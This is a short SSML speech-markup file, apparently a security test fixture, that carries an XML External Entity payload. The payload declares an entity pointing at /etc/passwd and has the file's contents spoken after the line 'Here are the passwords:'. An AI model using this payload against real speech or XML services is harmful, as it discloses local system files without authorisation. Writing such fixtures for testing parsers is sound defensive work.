external-entity.ssml 373 B

12345678910111213
  1. <?xml version="1.0"?>
  2. <!-- SSML version of the “XML External Entity” attack
  3. https://en.wikipedia.org/wiki/XML_external_entity_attack
  4. -->
  5. <!DOCTYPE test [
  6. <!ENTITY xxeattack SYSTEM "file:///etc/passwd">
  7. ]>
  8. <speak version="1.1" xmlns="http://www.w3.org/2001/10/synthesis"
  9. xml:lang="en-US">
  10. <p>Here are the passwords:</p>
  11. <p>&xxeattack;</p>
  12. </speak>